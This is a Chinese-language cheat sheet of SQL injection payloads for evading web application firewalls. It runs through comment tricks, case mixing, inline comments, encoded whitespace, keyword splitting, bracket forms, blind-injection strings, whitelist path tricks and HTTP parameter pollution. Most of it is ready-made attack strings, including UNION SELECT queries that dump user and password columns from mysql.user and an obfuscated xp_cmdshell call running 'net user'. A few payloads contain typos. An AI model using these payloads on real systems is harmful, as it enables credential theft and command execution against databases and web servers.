1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| 常见注释符 // (双斜线)、-- (杠杠空格)、/**/ (杠星星杠) --+ (杠杠加)、 -- -(杠杠空格杠) 、;(分号)、--a(杠杠a) 1.特征字符大小写(基本没用) UnIoN SeLcT 1,2,3
2.内联注释 id=-1/*!UNION*/%20//*!SELECT*/%201,2,3 id=-1%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53elEct*/%0A/*nnaa*/+1,2,3 /*!50000%55nIOn*/ 50000表示加入数据库是5.00.00以上版本,该语句才会被推行
3.特殊字符代替空格 %09 tab键(水平)、%0a 换行、%0c 新的一页 %0d return功能、%0b tab键(垂直)、%a0空格
4.等价函数和逻辑符号 hex()、bin()==>ascii() sleep()==>benchmark() concat_ws()==>group_concat() mid()、substr()==>substring() @@version==>version() @@datadir==>datadir() 逻辑符号:如and和or不能使用时,尝试&&和||双管道符。
5.特殊符号 反引号,select `version()`,绕过空格和正则 加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤 @符号,用于定义变量,一个@代表用户变量,@@代表系统变量
6.关键字拆分 'se'+'lec'+'t' %S%E%L%C%T 1,2,3 ?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"') !和():'or--+2=--!!!'2 id=1+(UnI)(oN)+(SeL)(EcT)
7.加括号绕过 小括号 union (select+1,2,3+from+users)%23 union(select(1),(2),(3)from(users)) id=(1)or(0x50=0x50) id=(-1)union(((((((select(1),hex(2),hex(3)from(users)))))))) 花括号 select{x user}from{x mysql.user} id=-1 union select 1,{x 2},3
8.过滤and和or下的盲注 id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23 id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23
9.白名单绕过 拦截信息:GET /pen/news.php?id=1 union select user,password from mysql.user 绕过:GET /pen/news. php/admin?id=1 union select user,password from mysql. user GET /pen/admin/..\news. php?id=1 union select user,password from mysql. user
10.HTTP参数控制 (1)HPP(HTTP Parmeter Polution)(重复参数污染) 举例: index.php?id=1 union select username,password from users index.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users HPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。 具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过 (2)HPF(HTTP Parmeter Fragment)(HTTP分割注入) HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行) 举例: /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users --+
|